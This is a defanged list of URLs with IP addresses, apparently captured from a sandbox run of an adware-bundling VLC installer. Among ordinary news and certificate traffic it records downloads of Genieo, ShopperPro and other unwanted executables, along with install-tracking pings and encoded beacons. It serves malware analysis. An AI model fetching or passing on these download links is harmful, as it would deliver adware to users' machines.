hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/ThawtePremiumServerCA.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k=
hxxp://a1638.g.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBuYvHdVmNDEAeDWzENJUpo=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc=
hxxp://news.yahoo.com/rss/us	188.125.93.38
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150415150704-01-isis-documents-0416-large-169.jpg	87.245.221.97
hxxp://news.yahoo.com/us/	188.125.93.38
hxxp://download.genieo.com/partner/gim394750002/release/live/InstallGenieo.exe	54.231.11.88
hxxp://logs.basememlog.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972	69.16.175.42
hxxp://api.yandex.ru/jslibs/	213.180.204.171
hxxp://news.yahoo.com/business/	188.125.93.38
hxxp://feeds.nytimes.com/robots.txt	170.149.168.130
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=KC46TpkJIZzYLhsRuGeUaa372E7NlAtQKW60GVA2gEGMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK82 hGV09zVjKib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtiapYc0LFxbdUeZLRmueCpr 7rPtSKe/ Nh2N9SXtw5amUOTLbsQW9Sa2dF0VKZsa4Q2/MQzLTqMBPEhRyyBD7A7Ux5MSUiBG6zbMzc4pOx2GGp9MstS3cDTDTdslR3ozlOtip/TjZswqBmTALOU7ah2wY9krKeIwcv4S/K6mfkWhIAbznvPq9LAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZQ8RyywzcfoHBwwa3T8ODYmcP7mQZ22oNj/q7W eRuIgzcPe3ThP39Y=	198.232.124.192
hxxp://sv.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx+JOp7hVgTeaGFJ/CQgQUljtT8Hkzl699g+8uK8zKt4YecmYCEDw+Um5Px/ypQy8rxvNMhqU=	23.37.43.27
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/9875.ashx?e=M7A8vgjJHrit /KxvF2yas3pm3/PWZt17OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDcrKE3Uv4Cvg Lt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd	198.232.124.192
hxxp://h7o3yrk-457zol7j.netdna-ssl.com/yta33_full.exe	198.232.124.192
hxxp://download.filesfrog.com/software_files/vlc/2_0_2/vlc-2.0.2-win32.exe	212.7.199.182
hxxp://edition.cnn.com/favicon.ie9.ico	185.31.17.73
hxxp://download.genieo.com/core/release/r16741/trayapp_setup.gen	54.231.11.88
hxxp://yandex.st/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico	178.154.131.216
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.03779669065679114	78.138.127.15
hxxp://news.yahoo.com/rss/	188.125.93.38
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515150646-defining-moments---argentina-football-fans-large-169.jpg	87.245.221.97
hxxp://www.nytimes.com/robots.txt	170.149.168.130
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VSMShYYQCF9/JscN vLrCo6Y7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsVGXytAW0YTvpFBfC/1GFX1sFx0Ai5knupjdibKIr9AtxNsDmnyqwUg==	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150408162525-us-soldiers-afghanistan-npw-large-169.jpg	87.245.221.97
hxxp://logs.basememlog.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972	69.16.175.42
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/13203.ashx?e=A3ANzFv7fWALjT49fHfOTKKBRU2urqEn/WD6e6SZIIExLHUkaU0662DlNcv2CDURCD4lfYxy1XF2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flXwF8xC533Fcga zuhV9q9F7H ln2NtHiy86PStrvhRRGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3/ZDGtqceVP4 iq7B1sUrV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29oKKSszP/5sIzto5FeRYZjTILRMK0uPbozNdYoFk7JaOSub7kXmhLMyGGp Djvv1Sk=	198.232.124.192
hxxp://install-cdn.theswiftrecord.com/sd?is=sm	87.245.221.97
hxxp://www.google-analytics.com/__utm.gif?utmwv=4.7.2&utmn=-477500939&utmt=event&utme=5(engine*bootstrap_started)(1)&utmcs=UTF-8&utmje=1&utmhid=1589499410&utmac=UA-27085171-1&utmcc=__utma=999.1088883664.1431731093.1431731093.1431731093.1;+__utmz=999.1431731093617.1.1.utmcsr=(direct)\|utmccn=(direct)%7utmcmd=(none);&gaq=1	173.194.116.132
hxxp://dl.ourinputinfonet.com/spd/shopp/iweb.exe	69.16.175.10
hxxp://dl.ourinputinfonet.com/spd/shopp/sense9.exe	69.16.175.10
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc=	23.37.43.27
hxxp://logs.basememlog.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972	69.16.175.42
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150430232235-04-gupta-cardiac-arrest-0430-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=W5y9y1UrGBmidLNtGGzWYU7rJDSm VNK1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZY6XgoNtHCHtXf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqElJDbT23fvBEnqM x5Lofqsq nFs/xGcCvWEaIOFylF6wnCeAYRjCxSn 64fsonTd2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://rss.tvguide.com/robots.txt	87.245.221.104
hxxp://rss.cnn.com/rss/cnn_us.rss	64.233.167.121
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://rss.cnn.com/rss/cnn_world.rss	64.233.167.121
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/13203.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGKwCI49GtT1NdRCa5jj7dUzI0IkF1yg1L7vGpx 8MAwfO/2zfBH9AMNAILVLRmoPT94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsVGXytAW0YTvpFBfC/1GFX1sFx0Ai5knupjdibKIr9AtxNsDmnyqwUg==	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/140922054849-isis-militant-flames-of-war-large-169.jpg	87.245.221.97
hxxp://blog.yandex.ru/	87.250.250.85
hxxp://sports.yahoo.com/top/rss;_ylt=AlwdHRvtXpvepkk.PZVQ41o5nYcB	188.125.93.38
hxxp://edition.cnn.com/robots.txt	185.31.17.73
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515114344-river-plate-police-shield-large-169.jpg	87.245.221.97
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://www.mozilla.org/robots.txt	63.245.215.20
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ba0434e570a9933a	87.245.221.90
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/impact_your_world_bw.png	87.245.221.97
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.8565816280575826	78.138.127.15
hxxp://www.nytimes.com/pages/international/index.html?partner=rss&emc=rss	170.149.168.130
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=AZwPyJy3TZi4/9HrRpQ3bD0Z7sea5zO CDpTR00nw3qz6uevfqaymmuKg2XFbqUQvoXpSr3iMCuKj C8ts/rB0hhMaluKp 8W3zb5I04l QxLHUkaU0662DlNcv2CDURCD4lfYxy1XF2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flZfGsaHjTJJ OkhFwjO/Ynn73orNtwzTOp2kELh2lx9D 3u2eZStggbd Wx/3k3O9M9xHVjdaZ6/h8tc/RefTuajGc2CPJRsRVLNXorm225rzxf0nCCTgFxkTZnKU5xaecbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXtLdVKK0d9mo0berm3dqCKtQ9ukzvqDdQjOluN4MfK82 hGV09zVjKib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtiapYc0LFxbdEicvFgHOgLA=	54.197.238.106
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=09d19378-3ffd-4726-b60b-7f15db982dc3&Password=PljGPm9d&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730965&SBPIDS=1&KA=1	173.239.4.56
hxxp://s2.symcb.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141/l2SWCyYX308B7Khio=	23.37.43.27
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150513164816-inside-supermax-prison-orig-00004310-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/9875.ashx?e=obiBp3WOda9tb/LgACKPGjnTXm9lqpoP6uT6llPaTG5AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxplhwMxml5UbmCbODR/403IDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0cHe5KQnbNqauE5N3JZkYwGD3h9gcT/r2iwEbfeVtNep9AGHLpPN9ds1xCWBfcznTYJpucY5gZaR711If7ZLdKSAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBTCpzrlNQN2/88/XPfhk4uBVWH5v khAB/rLvdMRg3M8UIMSUB/WnfCYlE4r6SV1bgnpuUIFlUf/q9nRDQDvVPIbkzfW5e8SMoSwi5wjSM7k5gIbV/f4x41WZp344hS/KOk6Y9dcrOVdNhnx1XeF3x0z9qiGPQGY8O 5AGGZP7FBa7xmZcVNq0wnVkWlZB8ovw3CPLf8b4I75fXsvf3TFg8fqly8nEySaAKL7C0ljy8DVDkvehx3v8Z2YT0WtEYDnx3vJXGCvYW0 O7WwXv/u8s2EM5jTZ 7fM8gLir8XlLSS2R299lcn5okIq4Qmm3AUQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1431730977	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150409105546-pkg-paton-walsh-afghanistan-kabul-waits-00001913-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaCikrMz/ bCM7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMhhqfg4779Up	198.232.124.192
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1431730983	54.231.17.196
hxxp://www.tvguide.com/favicon.ico	87.245.221.104
hxxp://sports.yahoo.com/	188.125.93.38
hxxp://edition.cnn.com/	185.31.17.73
hxxp://static.bbci.co.uk/news/1.69.0321/img/correspondents/circles/markeaston.png	87.245.221.98
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514124427-singing-gay-sailor-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/32252.ashx?e=XOxRKBm2zlxAvMuihpEQc1PJMnQ/271vyMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/j541coqS7no0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y	198.232.124.192
hxxp://rss.cnn.com/rss/edition_sport.rss	64.233.167.121
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.37.43.27
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7pvV2oKfdHnDhfQ9MGNT8i7OXLse4BafTbQC nVTu53mZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/uVL3Gu9UwvVR5AawbKoxp11TCyTpFsxTEHEcozhy4EYCpHZc9ZUaH6/88N5jCoINCUHeR8YCF3WlDTfn6Wm6lW0Hx6tEFQQ5PDJexsDUHtBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLUBchhU4Om0mB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1x5GDBdbBS/f	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150507143410-kelly-and-brady-hager-irpt-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150501153547-nyau-mozambique-vlad-sokhin-3-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514174622-lead-dnt-griffin-amtrak-engineer-brandon-bostian-profile-00012203-large-169.jpg	87.245.221.97
hxxp://www.cnn.com/US/index.html?eref=rss_us	185.31.17.73
hxxp://install.theswiftrecord.com/ii?alpha=dXJcL3dWGzFEEXJjcwV4dDYPInd1LlAHekBBSD4yJy4WaDJgAz8eQCF0UEtzejsbLh0sQmdvTD15D3NgdTkgKh8adQAydiYqTis0UDEnACRYLQc+KiYmHxAgDm9eax93KwM+byUJWCgEc0QxLDsgYCp9FnFyMl42H3QNAWkDVDZyRxZ0CHV8Ji5LLzwJdzRAcClvXXwvZ3YfByJVbhwyZip2SHkuf0wJT00iZjJreU9pWHoVdRo7LzVpagx1ZHImNnhURAxBYHxBTVx1YU07ahR4UDcEKnQkNBVDcQcBDDQvZXxDfydiAyEASjVvA3ZwbXQ+I1UhW3VuJW5kbTE+JnJjbFhELk9vYVo+Wmx3SzFzHisnZEp4NWJpDlV3AgwdOCk1elNsYmBfDwIJfSBBNyY/OxomWitTP1hrPihUMDlgP0VxWF8lSiMSYH8Of2EQZHQHeDN4BHxrbj4fAjEOFV5xanMhFmQjLQ5cUxx3OkUvLCsWU3gLfwA3O3U2IAAFMCxkdTlVRC1APgVaQTRbNF0tdxJ4Qx01AFp1MEkMIw5qLxEIBjVHbS19UFE+ZhVLN0tZTARPLk94Yk9qZCshEWMHDWBxbVQLFkdxNWF/FjpBGRFZIgwnGgM9cHMDXBUuUElILTB+NVVnIS0PShMUdiZVOic3EXY=	8.34.112.140
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.14770431837924597	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8tKc8aV27M6Qw==	198.232.124.192
hxxp://download.genieo.com/core/release/r16741/framework_setup.gen	54.231.11.88
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.7674401945976054	78.138.127.15
hxxp://rss.nytimes.com/services/xml/rss/nyt/InternationalHome.xml	107.21.208.116
hxxp://install.theswiftrecord.com/if?alpha=eG8kLkI5NSEJah1cCwRNeSt3I0J4MygGT01cMD8HKjNuaQdtHkcfdSxpKEpGdyZjLyghXx9ueTBkd3JVeCRYKyoXaHgzQys3NioBXSxfARFVMH8/Hys7ZxEVA3Imaip6Nns/WigUICkxfllJLQ4tfVJ8I3xvSl8DEml1AFwOSU57ZxsOPmcYdUpsclN/Ng4cI30qZixGeDc3X0YYRytuXn87ZjhCMxIhRi19LzwsEjItdC1MOkZHdVUsKSktFigsDHtiZC85VEkoMywrCQ1tUkBeO3UnfR94PSQNPlFSKwk9aGE7fA5tRik/dSR5Z29QOGknfyMqQA46XycvIDBZAGMLbGtVMjB2VE5qbH9IQyxCR1BaMX0pSy0pKA0cX102Ek5ueC16BHRMekgmaismKQ0jfyF6LjtMCGpZNzxlMgUuYUgkJBdzZiQbam9jdUAJGgwXHGMwem8GCzQoFhdaEUUoDzprOyFRc1UpXDokL3glWjIoZ3Y3eAVLLAJyNCR/VH0wXS4+E2tsMDYjMTIhEwF5Eh8UNwVzI107fCUNH1AMUhIxAE9ubBhwQCksXxVTST5UZCZ1dkgJZSlZFiM9Ki8KcF0nTE9hDxlXJD9ndiZxeSgDAhUmY0QCWT8oJEIkV0NiKQ8iLhsoJF5wXUhYI25jOGdxP3goay1QYTJLDSA=	8.34.112.140
hxxp://edition.cnn.com/SPORT/index.html?eref=rss_sport	185.31.17.73
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514103529-couple-sunset-large-169.jpg	87.245.221.97
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/cnn_googleplus_bw.png	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G YtdRCa5jj7dUzI0IkF1yg1L7vGpx 8MAwfaYKixoj2LBAmGZxYlIxDzQtYQnxeUKu9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/13203.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGKwCI49GtT1NdRCa5jj7dUzI0IkF1yg1LMTNAagX5zbhCn64 sLiuL8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfeIiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2s9O CwlJrmA=	198.232.124.192
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1431730972	54.231.17.196
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/cnn_facebook_bw.png	87.245.221.97
hxxp://www.bbc.co.uk/news/	212.58.246.54
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=3&index_in_screen=1&index_in_session=3&0.7966780592631134	78.138.127.15
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1431730983	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515112659-warm-blood-fish-1-large-169.jpg	87.245.221.97
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://static01.nyt.com/favicon.ico	87.245.221.97
hxxp://yandex.st/yandex-tech2-www/_/FA2t0d4VnPfgtJ9YRwNyI8OccPQ.ico	178.154.131.216
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150512181019-nepal-saugat-3-large-169.png	87.245.221.97
hxxp://edition.cnn.com/2015/05/15/us/boston-bombing-tsarnaev-sentence/index.html	185.31.17.73
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1431730985	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515194152-ramadi-forces-firing-large-169.jpg	87.245.221.97
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1431730986	54.231.17.196
hxxp://api.yandex.ru/jslibs	213.180.204.171
hxxp://news.yahoo.com/	188.125.93.38
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/13203.ashx?e=4mC0vXGWFtrPpyTTOfle7D0Z7sea5zO MKeV1roKInb8ln8Iap23/wrmOSgIBLqiUA7dl9owwhIPEcssM3H6BwcMGt0/Dg2JnD 5kGdtqDY/6u1vnkbiIPRHQ43CnbXvFjCwIjKziMWX1FtTkCv6XAgBB/YLD79J333RAvM0VMCZqxZiyeETNLTR ekXyJzPs IILilpWF21ljcmfunUI3wf26j4CvnDQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxUZfK0BbRhO kUF8L/UYVfWwXHQCLmSe6mN2Jsoiv0C3E2wOafKrBS	198.232.124.192
hxxp://koohr35-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150420160008-iran-military-parade-large-169.jpg	87.245.221.97
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/141001122257-blatter-tease-large-169.jpg	87.245.221.97
hxxp://promotion.genieo.com/admin/items/get_items_to_promotion	74.125.133.121
